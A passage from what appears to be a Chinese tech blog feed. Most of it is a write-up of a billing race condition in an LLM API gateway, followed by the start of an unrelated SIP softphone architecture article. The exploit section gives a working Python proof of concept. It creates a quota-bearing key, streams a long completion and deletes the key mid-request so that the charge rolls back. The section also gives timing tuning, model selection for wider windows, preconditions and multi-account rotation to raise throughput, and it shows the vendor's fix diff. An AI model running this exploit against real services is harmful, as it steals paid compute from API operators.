累加 Key 限速用量</span><br>    <span class="hljs-keyword">if</span> cmd.APIKeyRateLimitCost &gt; <span class="hljs-number">0</span> &#123;<br>        <span class="hljs-keyword">if</span> err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != <span class="hljs-literal">nil</span> &#123;<br>            <span class="hljs-keyword">return</span> err                      <span class="hljs-comment">// ★ 还有这里</span><br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">// ⑤ 账号配额</span><br>    <span class="hljs-keyword">if</span> cmd.AccountQuotaCost &gt; <span class="hljs-number">0</span> &amp;&amp; (...) &#123;<br>        ...<br>    &#125;<br><br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br>&#125;<br></code></pre></td></tr></table></figure><p>关键在 ③ 和 ④ 的实现。它们都是 <code>UPDATE api_keys ... WHERE id = $2 AND deleted_at IS NULL</code>：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">incrementUsageBillingAPIKeyQuota</span><span class="hljs-params">(ctx context.Context, tx *sql.Tx, apiKeyID <span class="hljs-type">int64</span>, amount <span class="hljs-type">float64</span>)</span></span> (<span class="hljs-type">bool</span>, <span class="hljs-type">error</span>) &#123;<br>    <span class="hljs-keyword">var</span> exhausted <span class="hljs-type">bool</span><br>    err := tx.QueryRowContext(ctx, <span class="hljs-string">`</span><br><span class="hljs-string">        UPDATE api_keys</span><br><span class="hljs-string">        SET quota_used = quota_used + $1,</span><br><span class="hljs-string">            status = CASE ... END,</span><br><span class="hljs-string">            updated_at = NOW()</span><br><span class="hljs-string">        WHERE id = $2 AND deleted_at IS NULL     -- ← 只看未删除的行</span><br><span class="hljs-string">        RETURNING quota &gt; 0 AND quota_used &gt;= quota AND quota_used - $1 &lt; quota</span><br><span class="hljs-string">    `</span>, amount, apiKeyID, ...).Scan(&amp;exhausted)<br><br>    <span class="hljs-keyword">if</span> errors.Is(err, sql.ErrNoRows) &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>, service.ErrAPIKeyNotFound   <span class="hljs-comment">// ← Key 不存在/已删，报错</span><br>    &#125;<br>    ...<br>&#125;<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">incrementUsageBillingAPIKeyRateLimit</span><span class="hljs-params">(ctx context.Context, tx *sql.Tx, apiKeyID <span class="hljs-type">int64</span>, cost <span class="hljs-type">float64</span>)</span></span> <span class="hljs-type">error</span> &#123;<br>    res, err := tx.ExecContext(ctx, <span class="hljs-string">`</span><br><span class="hljs-string">        UPDATE api_keys SET usage_5h = ..., usage_1d = ..., usage_7d = ...</span><br><span class="hljs-string">        WHERE id = $2 AND deleted_at IS NULL</span><br><span class="hljs-string">    `</span>, cost, apiKeyID)<br>    ...<br>    <span class="hljs-keyword">if</span> affected == <span class="hljs-number">0</span> &#123;<br>        <span class="hljs-keyword">return</span> service.ErrAPIKeyNotFound          <span class="hljs-comment">// ← 同上</span><br>    &#125;<br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br>&#125;<br></code></pre></td></tr></table></figure><p>于是链条闭合了：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs text">扣余额（②）已经写进事务<br>      ↓<br>累加 Key 配额（③）UPDATE 命中 0 行<br>      ↓<br>返回 ErrAPIKeyNotFound<br>      ↓<br>applyUsageBillingEffects 直接 return err<br>      ↓<br>Apply 里 return nil, err<br>      ↓<br>defer 里的 tx.Rollback()<br>      ↓<br>② 扣掉的余额被一起撤销  →  这单白嫖<br></code></pre></td></tr></table></figure><p><strong>这就是根因：扣钱和记账在同一个事务里，但顺序是「先扣钱、后记账」，而记账那一步依赖于 Key 行仍然存在。</strong> 把 Key 删掉，记账失败，事务回滚，钱就退回来了。</p><p>顺带说一句，<code>Apply</code> 的第一步 <code>claimUsageBillingKey</code> 其实只是个<strong>请求级幂等去重</strong>，往 <code>usage_billing_dedup</code> 插一条 <code>(request_id, api_key_id)</code>，跟这个漏洞没关系 —— 它也在同一个事务里，回滚时一起被撤销了。所以别指望用 <code>X-Client-Request-ID</code> 之类的请求头去撞去重表：<code>request_id</code> 是服务端生成的 UUID，客户端控制不了。</p><hr><h1 id="四、利用：抢在落账之前把-Key-删掉"><a href="#四、利用：抢在落账之前把-Key-删掉" class="headerlink" title="四、利用：抢在落账之前把 Key 删掉"></a>四、利用：抢在落账之前把 Key 删掉</h1><p>既然根因是「落账时 Key 必须还在」，那利用思路就很直接了：</p><blockquote><p><strong>请求发出去之后、落账开始之前，把 Key 删掉。</strong></p></blockquote><p>时序窗口在这里：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs text">t0  ├─ 建一个带 quota 的临时 Key<br>t1  ├─ 用它发起一个长流式请求（stream=true）<br>    │        ↓ 上游开始吐 token（这期间 Key 必须还在，否则鉴权就挂了）<br>t2  ├─ 请求还在途，面板上调 DELETE /api/v1/keys/&#123;id&#125;   ★ 抢跑<br>    │        ↓ api_keys.deleted_at = NOW()<br>t3  ├─ 上游跑完，返回 usage<br>t4  └─ 服务端落账：扣余额 ✅ → 累加 Key 配额 ❌ ErrAPIKeyNotFound → 事务回滚<br>    └─ 余额零变化<br></code></pre></td></tr></table></figure><p>注意 t2 的位置很讲究：<strong>必须等请求已经通过鉴权、上游已经开始生成之后再删</strong>。删早了，网关鉴权那一步就直接 401 了。</p><p>面板的删除接口是软删，而且会顺手把 key 字段写成 tombstone：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SET</span> key <span class="hljs-operator">=</span> $<span class="hljs-number">1</span>, deleted_at <span class="hljs-operator">=</span> NOW(), updated_at <span class="hljs-operator">=</span> NOW()<br><span class="hljs-keyword">WHERE</span> id <span class="hljs-operator">=</span> $<span class="hljs-number">2</span> <span class="hljs-keyword">AND</span> deleted_at <span class="hljs-keyword">IS</span> <span class="hljs-keyword">NULL</span><br></code></pre></td></tr></table></figure><p>所以删掉的 Key 立刻不能再用于鉴权 —— 这正好，反正后面也不用它了。</p><h2 id="PoC-核心逻辑"><a href="#PoC-核心逻辑" class="headerlink" title="PoC 核心逻辑"></a>PoC 核心逻辑</h2><p>去掉参数解析和日志之后，利用逻辑就这么多：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> threading, time, requests<br><br>BASE = <span class="hljs-string">&quot;https://target.example&quot;</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">create_key</span>(<span class="hljs-params">jwt, group_id, quota=<span class="hljs-number">1.0</span></span>):<br>    <span class="hljs-string">&quot;&quot;&quot;建一个带 quota 的临时 Key，返回 (key_id, secret)&quot;&quot;&quot;</span><br>    r = requests.post(<span class="hljs-string">f&quot;<span class="hljs-subst">&#123;BASE&#125;</span>/api/v1/keys&quot;</span>,<br>                      headers=&#123;<span class="hljs-string">&quot;Authorization&quot;</span>: <span class="hljs-string">f&quot;Bearer <span class="hljs-subst">&#123;jwt&#125;</span>&quot;</span>&#125;,<br>                      json=&#123;<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;tmp&quot;</span>, <span class="hljs-string">&quot;group_id&quot;</span>: group_id, <span class="hljs-string">&quot;quota&quot;</span>: quota&#125;)<br>    d = r.json()[<span class="hljs-string">&quot;data&quot;</span>]<br>    <span class="hljs-keyword">return</span> d[<span class="hljs-string">&quot;id&quot;</span>], d[<span class="hljs-string">&quot;key&quot;</span>]          <span class="hljs-comment"># 明文 key 只在创建时返回一次</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">delete_key</span>(<span class="hljs-params">jwt, key_id</span>):<br>    requests.delete(<span class="hljs-string">f&quot;<span class="hljs-subst">&#123;BASE&#125;</span>/api/v1/keys/<span class="hljs-subst">&#123;key_id&#125;</span>&quot;</span>,<br>                    headers=&#123;<span class="hljs-string">&quot;Authorization&quot;</span>: <span class="hljs-string">f&quot;Bearer <span class="hljs-subst">&#123;jwt&#125;</span>&quot;</span>&#125;)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit</span>(<span class="hljs-params">jwt, group_id, model, delete_after=<span class="hljs-number">0.15</span></span>):<br>    bal_before = get_balance(jwt)<br><br>    key_id, secret = create_key(jwt, group_id, quota=<span class="hljs-number">1.0</span>)<br><br>    <span class="hljs-comment"># 抢跑删除：请求派发后 N 秒就删，不等响应头</span><br>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">killer</span>():<br>        time.sleep(delete_after)<br>        delete_key(jwt, key_id)<br><br>    threading.Thread(target=killer, daemon=<span class="hljs-literal">True</span>).start()<br><br>    <span class="hljs-comment"># 长流式请求，务必 stream=true —— 落账在响应读完之后</span><br>    <span class="hljs-keyword">with</span> requests.post(<span class="hljs-string">f&quot;<span class="hljs-subst">&#123;BASE&#125;</span>/v1/chat/completions&quot;</span>,<br>                       headers=&#123;<span class="hljs-string">&quot;Authorization&quot;</span>: <span class="hljs-string">f&quot;Bearer <span class="hljs-subst">&#123;secret&#125;</span>&quot;</span>&#125;,<br>                       json=&#123;<span class="hljs-string">&quot;model&quot;</span>: model, <span class="hljs-string">&quot;stream&quot;</span>: <span class="hljs-literal">True</span>,<br>                             <span class="hljs-string">&quot;max_tokens&quot;</span>: <span class="hljs-number">4096</span>,<br>                             <span class="hljs-string">&quot;messages&quot;</span>: [&#123;<span class="hljs-string">&quot;role&quot;</span>: <span class="hljs-string">&quot;user&quot;</span>, <span class="hljs-string">&quot;content&quot;</span>: <span class="hljs-string">&quot;写一篇 2000 字的长文&quot;</span>&#125;]&#125;,<br>                       stream=<span class="hljs-literal">True</span>, timeout=<span class="hljs-number">600</span>) <span class="hljs-keyword">as</span> r:<br>        <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> r.iter_lines():<br>            <span class="hljs-keyword">pass</span>                       <span class="hljs-comment"># 把流读干净，让服务端走到落账</span><br><br>    time.sleep(<span class="hljs-number">5</span>)                      <span class="hljs-comment"># 等异步落账完成</span><br>    bal_after = get_balance(jwt)<br><br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;余额 <span class="hljs-subst">&#123;bal_before&#125;</span> -&gt; <span class="hljs-subst">&#123;bal_after&#125;</span>  (变化 <span class="hljs-subst">&#123;bal_after - bal_before&#125;</span>)&quot;</span>)<br>    <span class="hljs-keyword">return</span> bal_after - bal_before<br></code></pre></td></tr></table></figure><p>跑出来余额变化是 <code>0</code>，同时 <code>/api/v1/usage</code> 里能看到这次请求的记录 —— <strong>调用记录在，钱没扣</strong>。</p><hr><h1 id="五、不是所有模型都能绕"><a href="#五、不是所有模型都能绕" class="headerlink" title="五、不是所有模型都能绕"></a>五、不是所有模型都能绕</h1><p>这是这个漏洞最有意思的地方 —— <strong>它挑模型。</strong></p><p>同一套利用代码，换个模型结果就完全不一样：</p><table><thead><tr><th>模型</th><th>实测耗时</th><th>结果</th></tr></thead><tbody><tr><td>deepseek 系列（g98）</td><td>4.4 – 8.0s</td><td><strong>照常扣费</strong></td></tr><tr><td>grok-4.x（g69）</td><td>4.4 – 8.0s</td><td><strong>照常扣费</strong></td></tr><tr><td>gemini-image（g95）</td><td>4.4 – 8.0s</td><td><strong>照常扣费</strong></td></tr><tr><td>claude 系列（g87）</td><td>4.4 – 8.0s</td><td><strong>照常扣费</strong></td></tr><tr><td>gpt-5.5 &#x2F; gpt-5.6-sol</td><td>20 – 112s</td><td><strong>零扣费</strong></td></tr><tr><td>gpt-6</td><td>20 – 112s</td><td><strong>零扣费</strong></td></tr><tr><td>glm-4.5</td><td>20 – 112s</td><td><strong>零扣费</strong></td></tr></tbody></table><p>原因很简单：<strong>落账发生在响应结束之后。</strong> 请求跑得越快，落账来得越早，抢跑删除就越容易输给落账事务。</p><ul><li>快模型 4~8 秒跑完 → 你还在等删 Key 的网络往返，事务已经 Commit 了 → 照常扣费</li><li>慢模型 20 秒以上 → 有充足时间把 Key 删掉 → 事务回滚 → 免单</li></ul><p>所以「抢跑删除」的延迟得调：等响应头再删基本必输，得<strong>请求一派发就开始计时</strong>。实战里 <code>0.15 ~ 0.3s</code> 这个区间比较稳。</p><p><strong>但这里有个反噬：如果抢跑输了，钱就真扣了。</strong> 而扣余额的 SQL 是允许透支的：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">deductUsageBillingBalance</span><span class="hljs-params">(ctx context.Context, tx *sql.Tx, userID <span class="hljs-type">int64</span>, amount <span class="hljs-type">float64</span>)</span></span> (<span class="hljs-type">float64</span>, <span class="hljs-type">bool</span>, <span class="hljs-type">error</span>) &#123;<br>    <span class="hljs-comment">// 第一段：够扣就正常扣</span><br>    err := tx.QueryRowContext(ctx, <span class="hljs-string">`</span><br><span class="hljs-string">        UPDATE users SET balance = balance - $1, updated_at = NOW()</span><br><span class="hljs-string">        WHERE id = $2 AND deleted_at IS NULL AND balance &gt;= $1</span><br><span class="hljs-string">        RETURNING balance</span><br><span class="hljs-string">    `</span>, amount, userID).Scan(&amp;newBalance)<br>    <span class="hljs-keyword">if</span> err == <span class="hljs-literal">nil</span> &#123;<br>        <span class="hljs-keyword">return</span> newBalance, <span class="hljs-literal">true</span>, <span class="hljs-literal">nil</span><br>    &#125;<br>    <span class="hljs-keyword">if</span> !errors.Is(err, sql.ErrNoRows) &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>, <span class="hljs-literal">false</span>, err<br>    &#125;<br><br>    <span class="hljs-comment">// 第二段：不够扣也照扣，标记为透支</span><br>    err = tx.QueryRowContext(ctx, <span class="hljs-string">`</span><br><span class="hljs-string">        UPDATE users SET balance = balance - $1, updated_at = NOW()</span><br><span class="hljs-string">        WHERE id = $2 AND deleted_at IS NULL</span><br><span class="hljs-string">        RETURNING balance</span><br><span class="hljs-string">    `</span>, amount, userID).Scan(&amp;newBalance)<br>    ...<br>    <span class="hljs-keyword">return</span> newBalance, <span class="hljs-literal">false</span>, <span class="hljs-literal">nil</span>     <span class="hljs-comment">// sufficient = false</span><br>&#125;<br></code></pre></td></tr></table></figure><p>第二段没有余额下限校验，<code>sufficient=false</code> 只是返回给上层记个 <code>BalanceOverdrafted</code> 标记。<strong>也就是说，一直漏费会把余额一路扣成负数。</strong> 我就是这么把自己的号打成 <code>-0.0123884</code> 的。</p><hr><h1 id="六、官方怎么修的：就差一个"><a href="#六、官方怎么修的：就差一个" class="headerlink" title="六、官方怎么修的：就差一个 &amp;&amp;"></a>六、官方怎么修的：就差一个 <code>&amp;&amp;</code></h1><p>对比修复版本（0.2.13）和漏洞版本（0.1.176）的同一个函数，diff 只有两处：</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs diff">     if cmd.APIKeyQuotaCost &gt; 0 &#123;<br>         exhausted, err := incrementUsageBillingAPIKeyQuota(ctx, tx, cmd.APIKeyID, cmd.APIKeyQuotaCost)<br><span class="hljs-deletion">-        if err != nil &#123;</span><br><span class="hljs-addition">+        if err != nil &amp;&amp; !errors.Is(err, service.ErrAPIKeyNotFound) &#123;</span><br>             return err<br>         &#125;<br>         result.APIKeyQuotaExhausted = exhausted<br>     &#125;<br> <br>     if cmd.APIKeyRateLimitCost &gt; 0 &#123;<br><span class="hljs-deletion">-        if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil &#123;</span><br><span class="hljs-addition">+        if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil &amp;&amp; !errors.Is(err, service.ErrAPIKeyNotFound) &#123;</span><br>             return err<br>         &#125;<br>     &#125;<br></code></pre></td></tr></table></figure><p>官方还顺手加了条注释，等于承认了这个问题：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-comment">// Key 已不存在时跳过其自身的额度/限速计数，其余结算项不受影响。</span><br></code></pre></td></tr></table></figure><p><strong>修法就是：把「Key 不存在」从致命错误降级成可忽略错误。</strong> Key 没了就不记它的配额，但余额该扣还是扣，事务正常提交。</p><p>这个修法很精准 —— 它没有去动「扣钱在前、记账在后」的顺序，而是直接消除了「记账失败导致整体回滚」这个后果。换句话说，<strong>顺序问题还在，只是不再有可利用的后果了</strong>。</p><hr><h1 id="七、三个前提条件，缺一不可"><a href="#七、三个前提条件，缺一不可" class="headerlink" title="七、三个前提条件，缺一不可"></a>七、三个前提条件，缺一不可</h1><p>想复现这个漏洞，下面三条必须同时成立：</p><h3 id="1-临时-Key-必须带-quota（quota-0）"><a href="#1-临时-Key-必须带-quota（quota-0）" class="headerlink" title="1. 临时 Key 必须带 quota（quota &gt; 0）"></a>1. 临时 Key 必须带 quota（<code>quota &gt; 0</code>）</h3><p>这是最容易忽略的一条。看 <code>shouldDeductAPIKeyQuota</code>：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(p *postUsageBillingParams)</span></span> shouldDeductAPIKeyQuota() <span class="hljs-type">bool</span> &#123;<br>    <span class="hljs-keyword">return</span> p.Cost.ActualCost &gt; <span class="hljs-number">0</span> &amp;&amp; p.APIKey.Quota &gt; <span class="hljs-number">0</span> &amp;&amp; p.APIKeyService != <span class="hljs-literal">nil</span><br>&#125;<br></code></pre></td></tr></table></figure><p><code>p.APIKey.Quota &gt; 0</code> 是硬条件。<strong>建 Key 时如果不填 quota（或者填 0，代表不限额），<code>APIKeyQuotaCost</code> 就是 0，<code>applyUsageBillingEffects</code> 压根不会去碰 <code>api_keys</code> 表，也就永远不会报 <code>ErrAPIKeyNotFound</code></strong> —— 漏洞直接失效。</p><p>所以建 Key 的 payload 里那个 <code>quota</code> 字段不是可选项，它是<strong>触发回滚的开关</strong>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">&#123;<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;tmp&quot;</span>, <span class="hljs-string">&quot;group_id&quot;</span>: <span class="hljs-number">74</span>, <span class="hljs-string">&quot;quota&quot;</span>: <span class="hljs-number">1.0</span>&#125;<br></code></pre></td></tr></table></figure><h3 id="2-账号余额必须大于-0"><a href="#2-账号余额必须大于-0" class="headerlink" title="2. 账号余额必须大于 0"></a>2. 账号余额必须大于 0</h3><p>这个是我踩得最惨的坑。余额变成负数之后，整个账号会被<strong>网关鉴权中间件</strong>直接拦死：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-comment">// backend/internal/server/middleware/api_key_auth.go</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">apiKeyBalanceBelowAuthThreshold</span><span class="hljs-params">(balance <span class="hljs-type">float64</span>, _ *config.Config)</span></span> <span class="hljs-type">bool</span> &#123;<br>    <span class="hljs-keyword">return</span> balance &lt;= <span class="hljs-number">0</span><br>&#125;<br></code></pre></td></tr></table></figure><p>实测覆盖面（余额 <code>-0.0123884</code> 时逐条打）：</p><table><thead><tr><th>路由</th><th>结果</th></tr></thead><tbody><tr><td><code>GET /v1/models</code></td><td>403 <code>INSUFFICIENT_BALANCE</code></td></tr><tr><td><code>POST /v1/chat/completions</code></td><td>403</td></tr><tr><td><code>POST /v1/messages</code></td><td>403</td></tr><tr><td><code>POST /v1/responses</code></td><td>403</td></tr><tr><td><code>POST /v1/embeddings</code></td><td>403</td></tr><tr><td><code>POST /v1/images/generations</code></td><td>403</td></tr><tr><td><code>POST /v1beta/models/*</code>（Gemini 原生）</td><td>403</td></tr><tr><td><code>GET /v1/usage</code></td><td>200（唯一放行的只读路由）</td></tr></tbody></table><p><strong>所有生成类路由全军覆没，没有漏网的。</strong></p><p>这点必须想清楚：<strong>这个漏洞能实现的是「不扣钱」，不是「负余额也能用」。</strong> 它是给你省钱的，不是给你救命的。想用就得先把余额维持成正数 —— 这也是为什么「漏费即停服」的护栏很重要。</p><h3 id="3-建-Key-有频率配额，它就是吞吐天花板"><a href="#3-建-Key-有频率配额，它就是吞吐天花板" class="headerlink" title="3. 建 Key 有频率配额，它就是吞吐天花板"></a>3. 建 Key 有频率配额，它就是吞吐天花板</h3><p>利用要「一请求一 Key」，那就得考虑建 Key 的频率限制：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">apikey:create_count:&lt;userID&gt;   Redis 固定 1 小时窗口<br></code></pre></td></tr></table></figure><p>默认 60 次&#x2F;小时&#x2F;账号。<strong>删 Key 不会退还次数</strong>（用 <code>ExpireNX</code> 设 TTL，只在首次 INCR 时生效，所以轮询等窗口是安全的，不会把窗口往后推）。</p><p>于是绕过模式的吞吐上限就是 60 请求&#x2F;小时。想提高只能多账号轮换，因为计数键是按 <code>userID</code> 隔离的。</p><h1 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h1><p>把整条链子压缩成一句话：</p><blockquote><p><strong>扣钱和记账写在同一个事务里，扣钱在前、记账在后；记账那一步要求 Key 行还存在。请求在途时把 Key 软删，记账报 <code>ErrAPIKeyNotFound</code>，事务回滚，已经把扣掉的余额一起撤销了。</strong></p></blockquote><hr><blockquote><p>作者：NowPion</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>SIP 软电话全栈架构与实战解析</title>
      <link>https://blog.newpon.top/2026/09/12/SIP%E8%BD%AF%E7%94%B5%E8%AF%9D%E5%85%A8%E6%A0%88%E6%9E%B6%E6%9E%84%E4%B8%8E%E5%AE%9E%E6%88%98%E8%A7%A3%E6%9E%90/</link>
      <description>从第一性原理深入剖析 SIP 软电话全栈系统架构，涵盖 Flutter 安卓客户端、Go API 服务端、FreeSWITCH 媒体网关及信令交互设计与实战解析。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/SIP/">SIP</category>
      <category domain="https://blog.newpon.top/tags/FreeSWITCH/">FreeSWITCH</category>
      <category domain="https://blog.newpon.top/tags/WebRTC/">WebRTC</category>
      <category domain="https://blog.newpon.top/tags/Flutter/">Flutter</category>
      <category domain="https://blog.newpon.top/tags/Go/">Go</category>
      <category domain="https://blog.newpon.top/tags/%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1/">架构设计</category>
      <category domain="https://blog.newpon.top/tags/%E9%9F%B3%E8%A7%86%E9%A2%91%E9%80%9A%E4%BF%A1/">音视频通信</category>
      <pubDate>Sat, 12 Sep 2026 08:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>刷抖音刷到了别人实现的sip软电话，感觉还挺有意思，就研究了研究</p><p>在 <a href="https://github.com/NowPion/SIP_terminal">SIP Terminal</a> 中落地了一套完整的软电话通信系统：<strong>Flutter Android App + Go API + FreeSWITCH + MySQL</strong>。</p><p>本文将从第一性原理出发，深入浅出地拆解：<strong>什么是 SIP？什么是 <code>safarov/freeswitch</code>？整套系统的架构如何设计？以及为什么要做出这样的技术选型与架构实现？</strong></p><hr><h2 id="一、-什么是-SIP？"><a href="#一、-什么是-SIP？" class="headerlink" title="一、 什么是 SIP？"></a>一、 什么是 SIP？</h2><p>很多初学者容易将 SIP 与“实时语音流”混为一谈，以为音频数据就是通过 SIP 协议传输的。<strong>这是最大的误区。</strong></p><blockquote><p><strong>定义</strong>：SIP（Session Initiation Protocol，会话发起协议，由 IETF 在 RFC 3261 中定义）是一个<strong>应用层信令控制协议</strong>。<br>它<strong>只负责会话的“建立、修改和终止”</strong>，其本身<strong>绝对不承载任何实际的音频或视频媒体流数据</strong>。</p></blockquote><p>我们可以把 SIP 直观地理解为<strong>电信世界的“HTTP”</strong>：</p><ul><li><strong>纯文本格式</strong>：报文由请求行&#x2F;状态行、报文头（Headers）和报文体（Body）组成，人眼可读；</li><li><strong>请求&#x2F;响应模型</strong>：客户端发送请求方法（Method），服务端返回三位数字的状态码（Status Code）；</li><li><strong>URI 寻址机制</strong>：类似 <code>sip:1001@fs.local</code> 或 <code>sip:alice@example.com</code>，像邮箱与网页地址一样支持域名与分机路由。</li></ul><div style="display:flex;gap:24px;justify-content:center;margin:20px 0">  <img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20260830142104832.png" width="260" alt="通话界面" />  <img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20260830143737870.png" width="260" alt="账号管理" /></div><h3 id="1-1-核心请求方法（Methods）"><a href="#1-1-核心请求方法（Methods）" class="headerlink" title="1.1 核心请求方法（Methods）"></a>1.1 核心请求方法（Methods）</h3><table><thead><tr><th align="left">方法</th><th align="left">含义</th><th align="left">类比 &#x2F; 场景</th></tr></thead><tbody><tr><td align="left"><strong><code>REGISTER</code></strong></td><td align="left">软电话向服务器登记当前网络位置（IP:Port）与分机绑定关系</td><td align="left">客户端上线打卡，告诉服务器“我在这，有我的电话发给我”</td></tr><tr><td align="left"><strong><code>INVITE</code></strong></td><td align="left">发起呼叫邀请，携带本端的媒体能力（SDP）</td><td align="left">打电话发起呼叫</td></tr><tr><td align="left"><strong><code>ACK</code></strong></td><td align="left">最终确认收到 INVITE 的成功响应（200 OK）</td><td align="left">建立三次握手的最终凭据</td></tr><tr><td align="left"><strong><code>BYE</code></strong></td><td align="left">终止已建立的通话会话</td><td align="left">任意一方挂断电话</td></tr><tr><td align="left"><strong><code>CANCEL</code></strong></td><td align="left">在呼叫尚未被接听前取消该次呼叫请求</td><td align="left">主叫方在对方响铃但未接前主动放弃挂断</td></tr><tr><td align="left"><strong><code>UPDATE / INFO</code></strong></td><td align="left">在通话过程中动态协商媒体参数或传递带外信息</td><td align="left">如通话中切换编解码或传递 DTMF 按键音</td></tr></tbody></table><h3 id="1-2-关键状态码机制：为什么-401-不是错误？"><a href="#1-2-关键状态码机制：为什么-401-不是错误？" class="headerlink" title="1.2 关键状态码机制：为什么 401 不是错误？"></a>1.2 关键状态码机制：为什么 401 不是错误？</h3><p>SIP 的状态码与 HTTP 高度相似：</p><ul><li><strong><code>1xx</code> 临时响应</strong>：<code>100 Trying</code>（服务器处理中）、<code>180 